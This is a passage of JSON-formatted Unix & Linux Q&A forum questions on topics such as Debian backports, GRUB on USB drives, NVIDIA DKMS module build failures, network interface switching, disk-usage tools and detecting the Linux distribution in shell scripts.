inside a bash script, so it must not nessesarily need to get done with diff and patch, if another programm is better at it."} {"_id": "150979", "title": "How install xfce >= 4.10 from backports repository in debian", "text": "I am working in Debian 7 64bits with xfce 4.8 ![enter image description here](http://i.stack.imgur.com/bhaxG.jpg) But in backports repository I found xfce 4.10.1 ![enter image description here](http://i.stack.imgur.com/fgb4F.jpg) and I added this line in my sources.list: deb http://ftp.debian.org/debian/ wheezy-backports main contrib non-free but when I upgrade I do not see that can be updated. ![enter image description here](http://i.stack.imgur.com/NDPDH.jpg) Then, how I can upgrade xfce 4.8 to 4.10 cleanly with backports? without tricks like adding repo of debian 8 testing or others. Greetings."} {"_id": "63428", "title": "Startx failing in FreeBSD", "text": "I've install gnome2, xorg, and xinit (should xorg have done that for me?), and startx yields: \"xinit: unable to run server \"/usr/local/bin/X\": No such file or directory\" I checked in the directory, and startx, xpath, and xinit are all there Am I still missing dependencies? If so, which ones? Both the gnome2 and x11 installations took a lifetime and a half so I thought they got everything..."} {"_id": "109103", "title": "Not able to install GRUB (grub legacy) on flash drive!", "text": "I'm following this tutorial of Dedoimedo to install GRUB on USB flash drive. Though this tutorial doesn't talk of installing in pen drive but I though it can be used here even. [ Minimal BASH-like line editing is supported. For the first word, TAB lists possible command completions. Anywhere else TAB lists the possible completions of a device/filename. ] grub> find /grub/stage1 (hd0,4) grub> root (hd0,4) grub> setup (hd1) Checking if \"/boot/grub/stage1\" exists... no Checking if \"/grub/stage1\" exists... yes Checking if \"/grub/stage2\" exists... yes Checking if \"/grub/e2fs_stage1_5\" exists... yes Running \"embed /grub/e2fs_stage1_5 (hd1)\"... 21 sectors are embedded. succeeded Running \"install /grub/stage1 d (hd1) (hd1)1+21 p (hd0,4)/grub/stage2 /grub/me nu.lst\"... succeeded Done. grub> Still I don't see anything in the flash drive. Also when I rebooted my laptop setting USB flash drive to boot, it didn't boot from my USB. Please throw some light on this. [I have seen sites (pendrivelinux.com) http://www.pendrivelinux.com/install- grub2-on-usb-from-ubuntu-linux/ where it talks on installing on USB but I want to know why my method isn't working]"} {"_id": "21218", "title": "Can I execute a python statement from a terminal?", "text": "I'd like to simply execute a Python command without having to write a script or enter the interpreter. Is there a way that I could run something like: python --execute \"pow(12.31351,2)\" And have it simply print the result?"} {"_id": "21212", "title": "How can I redirect matching lines to a file, and non-matching lines to a different file?", "text": "Is there a script/program/utility already available for the following requirement in a optimised way? someCommand | tee >(grep \"pattern\" > LinesWhichMatch) | grep -v \"pattern\" > LinesWhichDoesNotMatch"} {"_id": "138840", "title": "Corsair Vengeance K-95 Keyboard & Linux", "text": "I've been thinking that I want a mechanical keyboard, currently I'm using a logitech G510 which is perfect with it's 18 programmable keys (I'm using it with this) but I hear a lot of people drooling over mechanical keys, especially programmers, and I do certainly write a lot and on occasion I code too. Not to mention gaming of course. But one thing I really cannot think of losing is the 18(x3) programmables, I don't care about the rest of the features, but being able to open folders, switch workspaces and navigate through my browser with single buttons changes everything. Not to mention it is very efficient. Media keys are also always nice (Play/Pause, Volume wheel) The Corsair Vengeance K-95 was the first keyboard I found that seems to match my needs. 1. Does it work with Linux? (If so, how well?) 2. Can I map custom commands (like terminal commands) to the G keys?"} {"_id": "21216", "title": "Equivalent to \"copies=2\" feature of ZFS in Linux with LVM", "text": "I have a laptop with only one HDD and is impossible add other HDD. The feature \"copies=2\" of ZFS is the perfect solution for to add redundancy to my /home in the laptop. I would like emulate the copies=2 option of ZFS with LVM (or other software if you prefer), for example 2 copies of each block of my /home partition. In this HDD, I have other systems and I use habitually the laptop for testing a lot of new versions of OS, so I need continue using a standard MBR partition table and the changes must be in the partition level. I will not use ZFS or btrfs for this. If you have other ideas, all are welcome :) . http://blogs.oracle.com/relling/entry/zfs_copies_and_data_protection Update: Like Gilles said, my idea only give me protection from invalid sectors and similar failures for a very limited time. Not for human errors, software bugs or mechanical/electronic failures of my HDD. This is the idea."} {"_id": "116386", "title": "How to install packages during live installation in Fedora?", "text": "I have Fedora 20 live USB and some packages with me. I want to install these packages during the live installation itself. Is there any script to do this?"} {"_id": "116381", "title": "Why did BASH print \"bash: cd: write error: Success\"?", "text": "I noticed this several times today. If I type `cd ../Directory` to change to another directory, it prints \"bash: cd: write error: Success\". I can't determine what other previous commands might be related to this. * `typeset -f` prints nothing. * `alias` prints nothing. * `type -a cd` prints \"cd is a shell builtin\". * `echo $CDPATH` prints an empty line. * `$BASH_VERSION` prints \"bash: 4.2.37(1)-release: command not found\". * I only noticed this 2-3 times. The initial directory and target directory were identical in both situations. I changed directories in this manner many other times, but did not encounter the error always. What could be causing this?"} {"_id": "116380", "title": "what are the compilation steps for Firefox in RHEL 6.3?", "text": "i have changed the code of Mozilla firefox in /usr/lib64/firefox/omni.ja now i want to compile the firefox so that the changes will get effect."} {"_id": "1850", "title": "Emacs sync w/ Google Calendar and Contacts?", "text": "Is there a way to use Emacs to sync with Google Calendar and Google Contacts, ideally keeping a local copy so I can access them offline?"} {"_id": "23576", "title": "How do I recursively delete directories with wildcard?", "text": "I am working through SSH on a WD My Book World Edition. Basically I would like to start at a particular directory level, and recursively remove all sub- directories matching .Apple* - how would I go about that? I tried `rm -rf .Apple*` and `rm -fR .Apple*` both not deleting directories matching that name within sub-directories. Any help would be greatly appreciated. Thanks, Dany."} {"_id": "116388", "title": "Configure guessnet to switch automatically between LAN and WLAN", "text": "I want to configure guessnet and wpa_supplicant such that if I plug in my LAN cable, it connect to the network via the cable and if I unplug it, it automatically switches to WLAN and vice versa. I managed to make it work, however if I unplug the cable, it takes 10 to 20 seconds to connect to the WLAN network, which is pretty slow. In contrast, if I plug in the cable, it takes just a second to disconnect from WLAN and connect to LAN. Is there any way to get a better configuration to make the switching to WLAN much faster? By the way, when I tried new settings I often hat to reboot which was very annoying, a simple `service networking restart` was not enough - perhaps this has to do something with my configuration. My system is ubuntu 13.10. Here are my config-files: `/etc/network/interfaces` auto lo iface lo inet loopback #use guessnett mapping eth0 script /usr/sbin/guessnet-ifupdown #map timeout: 3 map default: unknown iface home inet static address 192.168.1.80 netmask 255.255.255.0 gateway 192.168.1.1 dns-nameservers 192.168.1.1 test1 peer address 192.168.1.1 iface no-net inet manual test2 missing-cable iface unknown inet dhcp iface wlanWork inet dhcp auto wlan0 iface wlan0 inet manual wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf And this is my `/etc/wpa/supplicant.conf` ctrl_interface=/var/run/wpa_supplicant eapol_version=1 ap_scan=1 network={ ssid=\"mywlan\" scan_ssid=1 psk=\"1234\" proto=RSN key_mgmt=WPA-PSK pairwise=CCMP group=CCMP id_str=\"home\" ## specified in /etc/network/interfaces } network={ ssid=\"wlanWork\" scan_ssid=1 psk=\"1234\" proto=RSN key_mgmt=WPA-PSK pairwise=CCMP group=CCMP id_str=\"wlanWork\" ## specified in /etc/network/interfaces } Finally this is `/etc/default/ifplugd` as generated by `dpkg-reconfigure ifplugd` INTERFACES=\"eth0\" HOTPLUG_INTERFACES=\"\" ARGS=\"-q -f -u0 -d10 -w -I\" SUSPEND_ACTION=\"stop\" **Edit** I noticed some wired problems with this setup which I cannot reproduce. One time WLAN worked, but LAN didn't have the proper route/gateway. After setting the gateway manually via `route add default gw 192.168.1.1` and rebooting, it worked again. After a second reboot nothing worked despite the fact that I got the correct IP (even `ping 192.168.1.1` didn't work). Then I had to do `sudo dhclient` to get a working internet connection again..."} {"_id": "1856", "title": "What makes Ubuntu not totally Free Software?", "text": "I heard that Ubuntu is not completely free (as in Freedom). What are the specific parts of Ubuntu that are not Free?"} {"_id": "43614", "title": "Cannot create \"Hello World\" module (and NVIDIA, and VirtualBox)", "text": "First off, the details. **BEFORE:** kernel: 3.2.0-2-amd64, nvidia driver: 295.59 **AFTER:** kernel: 3.2.0-3-amd64, nvidia driver: 302.17-3 My Debian wheezy is kept recent at all times. Actually, doing daily `apt-get upgrade -s` got me in this trouble in the first place. Evidently, after an `apt-get upgrade`, something \"broke\" on my Debian -- something related to the build ecosystem and/or DKMS itself. The NVIDIA driver cannot get build by ANY method recommended in the official Wikis. Including the NVIDIA official binary (log snippet from that at one of the updates). Here's the output of `dpkg-reconfigure nvidia-kernel-dkms`: # dpkg-reconfigure nvidia-kernel-dkms ------------------------------ Deleting module version: 302.17 completely from the DKMS tree. ------------------------------ Done. Loading new nvidia-302.17 DKMS files... Building only for 3.2.0-3-amd64 Building initial module for 3.2.0-3-amd64 Error! Build of nvidia.ko failed for: 3.2.0-3-amd64 (x86_64) Consult the make.log in the build directory /var/lib/dkms/nvidia/302.17/build/ for more information. A relevant snippet from `/var/lib/dkms/nvidia/302.17/build/make.log` follows. The problem is **not** in the compilation, I can guarantee that. LD [M] /var/lib/dkms/nvidia/302.17/build/nvidia.o Building modules, stage 2. MODPOST 0 modules make[1]: Leaving directory `/usr/src/linux-headers-3.2.0-3-amd64' make: Leaving directory `/var/lib/dkms/nvidia/302.17/build' And that's it. No explanation of any kind in any other files in the same directory (at least as far as I checked). Before I ask my questions: I am using nouveau driver now (it's not like I got any choice anyway), but it doesn't work too well for me. I got 3 desktops, constantly playing movies on 1 of them, and being a very busy developer on the other 2. The nouveau driver fails a little bit there (the movies on the second screen get horizontal stripes all the time, the XFCE consoles lag a bit on the scrolling, etc.) **Questions:** * Should I change my kernel version? Tried `3.2.0-2-amd64` and `3.2.0-3-amd64`, to no avail. Trying `3.2.0-3-rt-amd64` makes my machine freeze after few minutes of operation, thus I don't dare to install it again. * Should I change a version of something in my build environment? (As pointed in the updates, it's not just NVIDIA problem, as it turns out). * Should I assume that my linker is at fault (I am _not_ using `gold`, I am using `ld` from the `binutils` package) and if so, what could I do do make the DKMS method finally work? Since the problem does seem to manifest itself on the linkage phase (and MODPOST shows 0 modules). On a personal note, this disturbs me on a lot deeper level I care to usually admit. I had a **big respect to Debian** , which at the moment is shattered. C'mon, a simple `apt-get upgrade` breaks all open-source kernel drivers compilations / linkages? Extremely disappointing. **UPDATE #1:** I did in fact try to install the official 304.22 NVIDIA drivers, here's the log file. Looks like the linking does indeed fail, does it? Also, if I try to also enable DKMS integration, I get a message of the sorts that the script cannot determine the current kernel version (text in the 3rd update). nvidia-installer log file '/var/log/nvidia-installer.log' creation time: Sat Jul 21 22:59:30 2012 installer version: 304.22 PATH: /usr/local/rvm/gems/ruby-1.9.3-p194/bin:/usr/local/rvm/gems/ruby-1.9.3-p194@global/bin:/usr/local/rvm/rubies/ruby-1.9.3-p194/bin:/usr/local/rvm/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin nvidia-installer command line: ./nvidia-installer Using: nvidia-installer ncurses user interface -> License accepted. -> Installing NVIDIA driver version 304.22. -> There appears to already be a driver installed on your system (version: 304.22). As part of installing this driver (version: 304.22), the existing driver will be uninstalled. Are you sure you want to continue? ('no' will abort installation) (Answer: Yes) -> Would you like to register the kernel module sources with DKMS? This will allow DKMS to automatically build a new module, if you install a different kernel later. (Answer: No) -> Performing CC sanity check with CC=\"gcc-4.6\". -> Performing CC version check with CC=\"gcc-4.6\". -> Kernel source path: '/lib/modules/3.2.0-3-amd64/source' -> Kernel output path: '/lib/modules/3.2.0-3-amd64/build' -> Performing rivafb check. -> Performing nvidiafb check. -> Performing Xen check. -> Cleaning kernel module build directory. executing: 'cd ./kernel; make clean'... -> Building kernel module: executing: 'cd ./kernel; make module SYSSRC=/lib/modules/3.2.0-3-amd64/source SYSOUT=/lib/modules/3.2.0-3-amd64/build'... NVIDIA: calling KBUILD... make -C /lib/modules/3.2.0-3-amd64/build \\ KBUILD_SRC=/usr/src/linux-headers-3.2.0-3-common \\ KBUILD_EXTMOD=\"/tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel\" -f /usr/src/linux-headers-3.2.0-3-common/Makefile \\ modules test -e include/generated/autoconf.h -a -e include/config/auto.conf || ( \\ echo; \\ echo \" ERROR: Kernel configuration is invalid.\"; \\ echo \" include/generated/autoconf.h or include/config/auto.conf are missing.\";\\ echo \" Run 'make oldconfig && make prepare' on kernel src to fix it.\"; \\ echo; \\ /bin/false) mkdir -p /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/.tmp_versions ; rm -f /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/.tmp_versions/* make -f /usr/src/linux-headers-3.2.0-3-common/scripts/Makefile.build obj=/tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel gcc-4.6 -Wp,-MD,/tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/.nv.o.d -nostdinc -isystem /usr/lib/gcc/x86_64-linux-gnu/4.6/include -I/usr/src/linux-headers-3.2.0-3-common/arch/x86/include -Iarch/x86/include/generated -Iinclude -I/usr/src/linux-headers-3.2.0-3-common/include -include /usr/src/linux-headers-3.2.0-3-common/include/linux/kconfig.h -I/tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel -D__KERNEL__ -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit-function-declaration -Wno-format-security -fno-delete-null-pointer-checks -Os -m64 -mtune=generic -mno-red-zone -mcmodel=kernel -funit-at-a-time -maccumulate-outgoing-args -fstack-protector -DCONFIG_AS_CFI=1 -DCONFIG_AS_CFI_SIGNAL_FRAME=1 -DCONFIG_AS_CFI_SECTIONS=1 -DCONFIG_AS_FXSAVEQ=1 -pipe -Wno-sign-compare -fno-asynchronous-unwind-tables -mno-sse -mno-mmx -mno-sse2 -mno-3dnow -Wframe-larger-than=2048 -Wno-unused-but-set-variable -fomit-frame-pointer -g -Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow -fconserve-stack -DCC_HAVE_ASM_GOTO -I/tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel -Wall -MD -Wsign-compare -Wno-cast- qual -Wno-error -D__KERNEL__ -DMODULE -DNVRM -DNV_VERSION_STRING=\\\"304.22\\\" -Wno-unused-function -Wuninitialized -mno-red-zone -mcmodel=kernel -UDEBUG -U_DEBUG -DNDEBUG -DMODULE -D\"KBUILD_STR(s)=#s\" -D\"KBUILD_BASENAME=KBUILD_STR(nv)\" -D\"KBUILD_MODNAME=KBUILD_STR(nvidia)\" -c -o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/.tmp_nv.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv.c In file included from /usr/src/linux-headers-3.2.0-3-common/include/linux/kernel.h:17:0, from /usr/src/linux-headers-3.2.0-3-common/include/linux/sched.h:55, from /usr/src/linux-headers-3.2.0-3-common/include/linux/utsname.h:35, from /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-linux.h:38, from /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv.c:13: /usr/src/linux-headers-3.2.0-3-common/include/linux/bitops.h: In function \u2018hweight_long\u2019: /usr/src/linux-headers-3.2.0-3-common/include/linux/bitops.h:49:41: warning: signed and unsigned type in conditional expression [-Wsign-compare] In file included from /usr/src/linux-headers-3.2.0-3-common/arch/x86/include/asm/uaccess.h:575:0, from /usr/src/linux-headers-3.2.0-3-common/include/linux/poll.h:14, from /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-linux.h:97, from /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv.c:13: /usr/src/linux-headers-3.2.0-3-common/arch/x86/include/asm/uaccess_64.h: In function \u2018copy_from_user\u2019: /usr/src/linux-headers-3.2.0-3-common/arch/x86/include/asm/uaccess_64.h:53:6: warning: comparison between signed and unsigned integer expressions [-Wsign-compare] ...snipped lots of compile output with the same warning... ld -m elf_x86_64 -r -o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nvidia.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-kernel.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-acpi.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-chrdev.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-cray.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-gvi.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-i2c.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-mempool.o /tmp/selfgz10141/NVI DIA-Linux-x86_64-304.22/kernel/nv-mlock.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-mmap.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-p2p.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-pat.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-procfs.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-usermap.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-vm.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nv-vtophys.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/os-agp.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/os-interface.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/os-mtrr.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/os-registry.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/os-smp.o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/os-usermap.o (cat /dev/null; echo kernel//tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/nvidia.ko;) > /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/modules.order make -f /usr/src/linux-headers-3.2.0-3-common/scripts/Makefile.modpost scripts/mod/modpost -m -i /usr/src/linux-headers-3.2.0-3-amd64/Module.symvers -I /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/Module.symvers -o /tmp/selfgz10141/NVIDIA-Linux-x86_64-304.22/kernel/Module.symvers -S -w -s NVIDIA: left KBUILD. nvidia.ko failed to build! make[1]: *** [module] Error 1 make: *** [module] Error 2 -> Error. ERROR: Unable to build the NVIDIA kernel module. ERROR: Installation has failed. Please see the file '/var/log/nvidia-installer.log' for details. You may find suggestions on fixing installation problems in the README available on the Linux driver download page at www.nvidia.com. **UPDATE #2:** As per the suggestion of _StarNamer_ , I did reinstall `linux- headers-3.2.0-3-amd64`. After that was done, DKMS kicked in and tried again to compile the NVIDIA driver. Here's the contents of the file `/var/lib/dkms/nvidia/304.22/build/make.log`: DKMS make.log for nvidia-304.22 for kernel 3.2.0-3-amd64 (x86_64) Sun Jul 22 14:50:58 EEST 2012 If you are using a Linux 2.4 kernel, please make sure you either have configured kernel sources matching your kernel or the correct set of kernel headers installed on your system. If you are using a Linux 2.6 kernel, please make sure you have configured kernel sources matching your kernel installed on your system. If you specified a separate output directory using either the \"KBUILD_OUTPUT\" or the \"O\" KBUILD parameter, make sure to specify this directory with the SYSOUT environment variable or with the equivalent nvidia-installer command line option. Depending on where and how the kernel sources (or the kernel headers) were installed, you may need to specify their location with the SYSSRC environment variable or the equivalent nvidia-installer command line option. *** Unable to determine the target kernel version. *** make: *** [select_makefile] Error 1 **UPDATE #3:** After days and days of googling, I started to wonder if that's NVIDIA's fault at all. Turns out, it's not. I tried to install Virtual Box 4.1 (from the `testing` repo), and I stumbled upon **this again** : # cat /var/lib/dkms/virtualbox/4.1.18/build/make.log DKMS make.log for virtualbox-4.1.18 for kernel 3.2.0-3-amd64 (x86_64) Tue Jul 24 17:58:57 EEST 2012 make: Entering directory `/usr/src/linux-headers-3.2.0-3-amd64' LD /var/lib/dkms/virtualbox/4.1.18/build/built-in.o LD /var/lib/dkms/virtualbox/4.1.18/build/vboxdrv/built-in.o CC [M] /var/lib/dkms/virtualbox/4.1.18/build/vboxdrv/linux/SUPDrv-linux.o ... snipped ... CC [M] /var/lib/dkms/virtualbox/4.1.18/build/vboxpci/SUPR0IdcClientComponent.o CC [M] /var/lib/dkms/virtualbox/4.1.18/build/vboxpci/linux/SUPR0IdcClient-linux.o LD [M] /var/lib/dkms/virtualbox/4.1.18/build/vboxpci/vboxpci.o Building modules, stage 2. MODPOST 0 modules make: Leaving directory `/usr/src/linux-headers-3.2.0-3-amd64' And of course, no more details (as already have been said, it does _seem_ like a linker problem, but I cannot be sure yet). So this must be more of a Debian / DKMS problem or misconfiguration of some kind. However, I swear I didn't touch anything. I was simply doing daily `apt-get upgrade`-s. Then _something_ went not so well, obviously. **UPDATE #4:** I did try create a small module as described here: http://stackoverflow.com/questions/4715259/linux-modpost-does-not-build- anything. Indeed I am still seeing `MODPOST 0 modules`. Here's the output when I put `V=1` in the Makefile: # make make -C /lib/modules/3.2.0-3-amd64/build M=/home/dimi/code/hello V=1 modules make[1]: Entering directory `/usr/src/linux-headers-3.2.0-3-amd64' make -C /usr/src/linux-headers-3.2.0-3-amd64 \\ KBUILD_SRC=/usr/src/linux-headers-3.2.0-3-common \\ KBUILD_EXTMOD=\"/home/dimi/code/hello\" -f /usr/src/linux-headers-3.2.0-3-common/Makefile \\ modules test -e include/generated/autoconf.h -a -e include/config/auto.conf || ( \\ echo; \\ echo \" ERROR: Kernel configuration is invalid.\"; \\ echo \" include/generated/autoconf.h or include/config/auto.conf are missing.\";\\ echo \" Run 'make oldconfig && make prepare' on kernel src to fix it.\"; \\ echo; \\ /bin/false) mkdir -p /home/dimi/code/hello/.tmp_versions ; rm -f /home/dimi/code/hello/.tmp_versions/* make -f /usr/src/linux-headers-3.2.0-3-common/scripts/Makefile.build obj=/home/dimi/code/hello gcc-4.6 -Wp,-MD,/home/dimi/code/hello/.hello.o.d -nostdinc -isystem /usr/lib/gcc/x86_64-linux-gnu/4.6/include -I/usr/src/linux-headers-3.2.0-3-common/arch/x86/include -Iarch/x86/include/generated -Iinclude -I/usr/src/linux-headers-3.2.0-3-common/include -include /usr/src/linux-headers-3.2.0-3-common/include/linux/kconfig.h -I/home/dimi/code/hello -D__KERNEL__ -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit-function-declaration -Wno-format-security -fno-delete-null-pointer-checks -Os -m64 -mtune=generic -mno-red-zone -mcmodel=kernel -funit-at-a-time -maccumulate-outgoing-args -fstack-protector -DCONFIG_AS_CFI=1 -DCONFIG_AS_CFI_SIGNAL_FRAME=1 -DCONFIG_AS_CFI_SECTIONS=1 -DCONFIG_AS_FXSAVEQ=1 -pipe -Wno-sign-compare -fno-asynchronous-unwind-tables -mno-sse -mno-mmx -mno-sse2 -mno-3dnow -Wframe-larger-than=2048 -Wno-unused-but-set-variable -fomit-frame-pointer -g -Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow -fconserve-stack -DCC_HAVE_ASM_GOTO -DMODULE -D\"KBUILD_STR(s)=#s\" -D\"KBUILD_BASENAME=KBUILD_STR(hello)\" -D\"KBUILD_MODNAME=KBUILD_STR(hello)\" -c -o /home/dimi/code/hello/.tmp_hello.o /home/dimi/code/hello/hello.c (cat /dev/null; echo kernel//home/dimi/code/hello/hello.ko;) > /home/dimi/code/hello/modules.order make -f /usr/src/linux-headers-3.2.0-3-common/scripts/Makefile.modpost scripts/mod/modpost -m -i /usr/src/linux-headers-3.2.0-3-amd64/Module.symvers -I /home/dimi/code/hello/Module.symvers -o /home/dimi/code/hello/Module.symvers -S -w -c -s make[1]: Leaving directory `/usr/src/linux-headers-3.2.0-3-amd64' And here is what I see when I remove `V=1`: # make make -C /lib/modules/3.2.0-3-amd64/build M=/home/dimi/code/hello modules make[1]: Entering directory `/usr/src/linux-headers-3.2.0-3-amd64' CC [M] /home/dimi/code/hello/hello.o Building modules, stage 2. MODPOST 0 modules make[1]: Leaving directory `/usr/src/linux-headers-3.2.0-3-amd64' Someone, please! I cannot be the only one who ever had this problem!"} {"_id": "3961", "title": "How to understand what's taking up space?", "text": "I'm looking for a linux alternative to WinDirStat. I would like to know what is taking up space on my hard drives. A program that works on console and doesn't require a UI is preferred ."} {"_id": "24322", "title": "Command line linux alternative for Windirstat/SpaceMonger?", "text": "> **Possible Duplicate:** > How to understand what's taking up space? What's a good command line utility/script to analyze a folder structure and find out what's taking up all the space? The granularity of `df` is way to large. Specifically I'd like something that can run with limited permissions (e.g. on shared hosting) I seem to be running on Redhat, if that matters."} {"_id": "5156", "title": "Disk space disappearing", "text": "> **Possible Duplicate:** > How to understand what's taking up space? Hi, I am using Ubuntu 10.10. I have 40G of disk space in my partition /home and have used up 10 G of it, so I should have 30G left. But somehow disk space disappeared almost completely. I don't know what ate up the disk space. I checked with `ps ax` and then `du` and couldn't find strange activities. I would need to reboot the system to recover the free space! Any ideas?"} {"_id": "81026", "title": "Init script partially launches java app", "text": "I have a java application that I manage to execute by hand. The application normally opens several ports for local communications (7180 => 7183). Port 7182 serves as a web console and allows me to quickly check that everything went fine. java -cp $ARCHIVES -Djava.security.policy=$POLICY -Dconfigfile=$CONFIG_FILE $CLASS As soon as I put this in an init script, the ports are not open but the app somehow manages to start with the following message: 'Dead or echo port not responding'. Here is the start-stop-daemon line in my init script: start-stop-daemon --start --chuid thomas --quiet --make-pidfile --pidfile $PIDFILE --exec $DAEMON -- \\ $DAEMON_ARGS \\ What difference between manual execution and scripted execution could explain that the app is half started? * * * As an additionnal information, the application is SIPS Office Server (payment solution)."} {"_id": "81021", "title": "Is there any way to deploy an virtual machine software via command line on centos3", "text": "I have a centos3 based legacy distribution with all the desktop environment removed. I have only access via command line. I am now asked to run a centos 6.1 distribution on a virtual machine on this system. From what I understand, the virtual machine software (qemu, vmplayer, virtual box) will have to create a window to show the guest operating system and will therefore need a desktop environment. Is there any way possible to run centos 6.1 via virtual machine without a desktop environment?"} {"_id": "81022", "title": "How can I see moved lines in a file comparison with vimdiff / diff?", "text": "Moved lines are frequently annotated as deletes and adds but they can be shown as moved-from and moved-to instead. Like in this screenshot of Notepad++. ![Notepad++ diff'ing moved lines](http://i.stack.imgur.com/jF26O.png)"} {"_id": "6345", "title": "How can I get distribution name and version number in a simple shell script?", "text": "I'm working on a simple bash script that should be able to run on Ubuntu and CentOS distributions (support for Debian and Fedora/RHEL would be a plus) and I need to know the name and version of the distribution the script is running (in order to trigger specific actions, for instance the creation of repositories). So far what I've got is this: OS=$(awk '/DISTRIB_ID=/' /etc/*-release | sed 's/DISTRIB_ID=//' | tr '[:upper:]' '[:lower:]') ARCH=$(uname -m | sed 's/x86_//;s/i[3-6]86/32/') VERSION=$(awk '/DISTRIB_RELEASE=/' /etc/*-release | sed 's/DISTRIB_RELEASE=//' | sed 's/[.]0/./') if [ -z \"$OS\" ]; then OS=$(awk '{print $1}' /etc/*-release | tr '[:upper:]' '[:lower:]') fi if [ -z \"$VERSION\" ]; then VERSION=$(awk '{print $3}' /etc/*-release) fi echo $OS echo $ARCH echo $VERSION This _seems_ to work, returning `ubuntu` or `centos` (I haven't tried others) as the release name however, I have a feeling that there must be an easier, more reliable way of finding this out... No? It doesn't work for RedHat. /etc/redhat-release contains : Redhat Linux Entreprise release 5.5 So, the version is not the third word, you'd better use : OS_MAJOR_VERSION=`sed -rn 's/.*([0-9])\\.[0-9].*/\\1/p' /etc/redhat-release` OS_MINOR_VERSION=`sed -rn 's/.*[0-9].([0-9]).*/\\1/p' /etc/redhat-release` echo \"RedHat/CentOS $OS_MAJOR_VERSION.$OS_MINOR_VERSION\""} {"_id": "10281", "title": "How to determine distribution from command line?", "text": "> **Possible Duplicate:** > Bash: Get Distribution Name and Version Number Given (root) access to a machine with Linux through the command line(over ssh), how can I determine which distribution is actually running on the system?"} {"_id": "70951", "title": "Reading Linux distribution name from filesystem or command", "text": "I need to collect some system info from linux machines and decide what to do based on some distribution/version -specific conditionals. To simplify my example, I concocted a fictitious `my_function_display_operating_system` function. It is a useless function but it frames the problem: 1. detect the general OS type (osx, linux, etc.) 2. detect some version information about the OS 3. detect the distribution _friendly name_ Point `3.` is what I most need help with, please. Is there a reliable way to read a string indicating the host linux distribution name? I am using `/etc/issue` in the example below as I know of no other way, or set of ways, to get to this information. I am happy with a _it depends_ answer, I can build a quite involved `case` `esac` switch statement if need be. I just need to know where to look, and I can't download/install VMs for all the distros I know of to \"look around\" and/or grep for the name.. * * * # Displays operating system. function my_function_display_operating_system() { local operating_system case $my_global_os_type in OSX) printf -v operating_system \\ 'OS X v%s (build %s)' \\ $(sw_vers -productVersion) \\ $(sw_vers -buildVersion) ;; Linux) local -r linux_kernel_version=$(uname -r) printf -v operating_system \\ 'GNU/Linux (kernel %s)' \\ \"$linux_kernel_version\" if [[ -f /etc/issue ]]; then local -r distribution=$(cat /etc/issue | sed 's/ \\\\n \\\\l//g') operating_system+=\"\\nDistribution: $distribution\" fi ;; *) operating_system=Unknown ;; esac printf \"Operating system: $operating_system\\n\" } * * * Sample output: * * * > my_function_display_system_information Operating system GNU/Linux (kernel 3.5.0-25-generic) Distribution Ubuntu 12.10 System memory 1 GB Bash v4.2.37(1)-release Vim VIM - Vi IMproved 7.3 (2010 Aug 15, compiled Oct 26 2012 16 45 54) # ... etc ... * * *"} {"_id": "35183", "title": "How do I identify which Linux distro is running?", "text": "We have some new hardware in our office which runs its own customized Linux OS. How do I go about figuring which distro it's based on?"} {"_id": "20885", "title": "Finding out what Linux I'm running", "text": "> **Possible Duplicate:** > Bash: Get Distribution Name and Version Number Is there any consistent way of determining the Linux Distribution / Release that a machine is running if you don't already know what it is? Assume that no GUI access is possible."} {"_id": "70483", "title": "Figure out which distro I'm using with Zsh script", "text": "I'm making a script 